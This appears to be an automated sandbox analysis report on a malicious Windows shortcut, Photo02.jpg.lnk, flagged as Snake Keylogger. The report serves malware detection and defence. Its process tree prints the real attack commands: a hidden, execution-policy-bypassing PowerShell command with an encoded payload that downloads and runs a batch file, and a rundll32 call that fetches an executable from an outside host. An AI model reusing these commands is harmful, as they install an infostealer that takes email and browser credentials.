Analysis

  • max time kernel
    142s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2024, 08:13

General

  • Target

    Photo02.jpg.lnk

  • Size

    2KB

  • MD5

    a9c696e8139ba0cfdf3241131fff2d1e

  • SHA1

    0607510c26a987944ad5a7da23ebaa69a21e70ed

  • SHA256

    fcb534128c207ff3e66cadc7e6400ce3987374d151aac8e7aa741aadd6a70a88

  • SHA512

    b933fa80f6eb65be5bb05d8cb8e3ebfbe8c97cad970271d7674d33a72bc8426a20ce17be698f35fcc75592dd479bb80579ceee2454ee4af1c80c616b84cd57ad

Malware Config

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 20 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Photo02.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" CMd /C PoWERSHEll.Exe -ex BYPASS -nOP -W HidDen -eC IAAgAGkAbgBWAE8ASwBFAC0AdwBlAEIAcgBlAHEAVQBFAHMAdAAgAAkALQBVAHIASQAgAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAtAG8AdQB0AEYAaQBsAGUAIAAJAB0gJABFAE4AVgA6AHQAZQBtAHAAXABqAHIAYgBiAHMAZgByAC4AYgBhAHQAHSAgAAkAOwAgACAAaQBOAHYATwBLAEUALQBJAHQAZQBNACAACQAdICQAZQBOAFYAOgB0AGUATQBQAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4172
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PoWERSHEll.Exe -ex BYPASS -nOP -W HidDen -eC IAAgAGkAbgBWAE8ASwBFAC0AdwBlAEIAcgBlAHEAVQBFAHMAdAAgAAkALQBVAHIASQAgAB0gaAB0AHQAcAA6AC8ALwB2AHkAYgBzAG4AZgAzAC4AcwBhAC4AYwBvAG0ALwBtAGUAZAAuAGIAYQB0AB0gIAAtAG8AdQB0AEYAaQBsAGUAIAAJAB0gJABFAE4AVgA6AHQAZQBtAHAAXABqAHIAYgBiAHMAZgByAC4AYgBhAHQAHSAgAAkAOwAgACAAaQBOAHYATwBLAEUALQBJAHQAZQBNACAACQAdICQAZQBOAFYAOgB0AGUATQBQAFwAagByAGIAYgBzAGYAcgAuAGIAYQB0AB0g
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4404
          • C:\Windows\system32\DeviceCredentialDeployment.exe
            DEVIcECRedentIALdEPLOymEnt
            5⤵
              PID:4184
            • C:\Windows\system32\rundll32.exe
              RUNDll32 inEtcpL.CPl , ClearMyTracksByProcess 8
              5⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:2156
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                6⤵
                • Modifies registry class
                PID:5080
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1424
              • C:\Windows\system32\DeviceCredentialDeployment.exe
                dEvicEcredeNTiAldEPlOYMeNT
                6⤵
                  PID:5020
                • C:\Windows\system32\timeout.exe
                  timEout /T 7 /nObREAK
                  6⤵
                  • Delays execution with timeout.exe
                  PID:804
                • C:\Windows\system32\taskkill.exe
                  TAskkilL.Exe /F /Im rUNdlL32.exE
                  6⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2996
              • C:\Windows\system32\rundll32.exe
                rundLl32 C:\Windows\sYStEm32\SHiMGVW.dLl , ImageView_FullscreenA http://vybsnf3.sa.com/jertrs.exe
                5⤵
                • Blocklisted process makes network request
                • Suspicious use of FindShellTrayWindow
                PID:3416
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c DIr C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\ /s /B
                5⤵
                  PID:4048
                • C:\Windows\system32\conhost.exe
                  CoNhOsT C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:820
                  • C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe
                    C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\J6M39GIU\jertrs[1].exe
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:4064
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
                      7⤵
                      • Accesses Microsoft Outlook profiles
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • outlook_office_path
                      • outlook_win_path
                      PID:2448

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\J6M39GIU\jertrs[1].exe

                Filesize

                1.3MB

                MD5

                b07832ec5f73ae5f2888ebab2aa5283a

                SHA1

                cb11a9e432df439fde94b6a3b3677d0112cac3c5

                SHA256

                dc613f5e91169b3744adfc0f6c968e3501c4bc1221ce12bdaa948ce9e5a1da21

                SHA512

                7a3233303f57b57e72eaabd792796339611daa39bea2279ff1879a2728afc3b6cbb25cb9b66f96f86deda3aa7fda95cab07f0a549981dddbbb4f71c25132da15

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_syecztnn.ftz.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat

                Filesize

                552B

                MD5

                885e4bf9c36d1964f751bca33e898503

                SHA1

                4055100dda8ee3845cfda6735900c556d8c19ca1

                SHA256

                5efe4bb30df918412651e2060b234aac78f108793c2a25500aca8488ada3ab2a

                SHA512

                5da165cb4571777b53fbf324dabd63e73b7af94a88d0b08da8a0d28db1f6b947ad41494331be734836d2b5cb7ef090f1eed1e73b8ed9deb2fb9a37c4873691e3

              • C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT

                Filesize

                88B

                MD5

                39aceb0c8a015a4e8f66498e03ff16db

                SHA1

                4707695dece3a70bfbe55868d059a22e4325eaf0

                SHA256

                7eec1caeee2e9781635bc00daf1c0dbf98ec325625776afc4fb621e2eabd4527

                SHA512

                0cc87584d277036c2f94f25484beeb60b07adcb1ccc90b6ddfc1e6521944c35f87cc2c9f15a2b2b453a1cd8e9c0c16ade7d6ceb4f6b082c4be6f8d1aaf8a53dc

              • memory/448-0-0x00000210EB470000-0x00000210EB492000-memory.dmp

                Filesize

                136KB

              • memory/448-10-0x00007FF8516D0000-0x00007FF852191000-memory.dmp

                Filesize

                10.8MB

              • memory/448-11-0x00000210E8CA0000-0x00000210E8CB0000-memory.dmp

                Filesize

                64KB

              • memory/448-12-0x00000210E8CA0000-0x00000210E8CB0000-memory.dmp

                Filesize

                64KB

              • memory/448-13-0x00000210E8CA0000-0x00000210E8CB0000-memory.dmp

                Filesize

                64KB

              • memory/448-19-0x00007FF8516D0000-0x00007FF852191000-memory.dmp

                Filesize

                10.8MB

              • memory/2448-78-0x0000000000400000-0x000000000042B000-memory.dmp

                Filesize

                172KB

              • memory/2448-95-0x00000000067C0000-0x00000000067CA000-memory.dmp

                Filesize

                40KB

              • memory/2448-94-0x0000000006830000-0x00000000068C2000-memory.dmp

                Filesize

                584KB

              • memory/2448-93-0x0000000006960000-0x0000000006B22000-memory.dmp

                Filesize

                1.8MB

              • memory/2448-92-0x0000000006740000-0x0000000006790000-memory.dmp

                Filesize

                320KB

              • memory/2448-91-0x00000000057C0000-0x00000000057D0000-memory.dmp

                Filesize

                64KB

              • memory/2448-90-0x0000000073F10000-0x00000000746C0000-memory.dmp

                Filesize

                7.7MB

              • memory/2448-89-0x00000000057C0000-0x00000000057D0000-memory.dmp

                Filesize

                64KB

              • memory/2448-88-0x0000000005470000-0x000000000550C000-memory.dmp

                Filesize

                624KB

              • memory/2448-87-0x0000000005980000-0x0000000005F24000-memory.dmp

                Filesize

                5.6MB

              • memory/2448-86-0x0000000073F10000-0x00000000746C0000-memory.dmp

                Filesize

                7.7MB

              • memory/2448-85-0x0000000000400000-0x0000000000426000-memory.dmp

                Filesize

                152KB

              • memory/2448-82-0x0000000077562000-0x0000000077563000-memory.dmp

                Filesize

                4KB

              • memory/2448-84-0x0000000000ED0000-0x0000000000ED1000-memory.dmp

                Filesize

                4KB

              • memory/4064-60-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4064-79-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4064-58-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-63-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-65-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-66-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-68-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4064-69-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-70-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-72-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-62-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-75-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4064-74-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-76-0x0000000002370000-0x0000000002378000-memory.dmp

                Filesize

                32KB

              • memory/4064-77-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-56-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4064-81-0x00000000751B0000-0x000000007530D000-memory.dmp

                Filesize

                1.4MB

              • memory/4064-83-0x0000000002370000-0x0000000002378000-memory.dmp

                Filesize

                32KB

              • memory/4064-54-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-52-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-50-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-48-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-46-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-45-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-44-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-43-0x0000000000400000-0x000000000054B000-memory.dmp

                Filesize

                1.3MB

              • memory/4064-42-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-41-0x00000000751B0000-0x000000007530D000-memory.dmp

                Filesize

                1.4MB

              • memory/4064-36-0x00000000007B0000-0x00000000008B0000-memory.dmp

                Filesize

                1024KB

              • memory/4064-33-0x0000000002330000-0x0000000002331000-memory.dmp

                Filesize

                4KB

              • memory/4064-31-0x0000000077562000-0x0000000077563000-memory.dmp

                Filesize

                4KB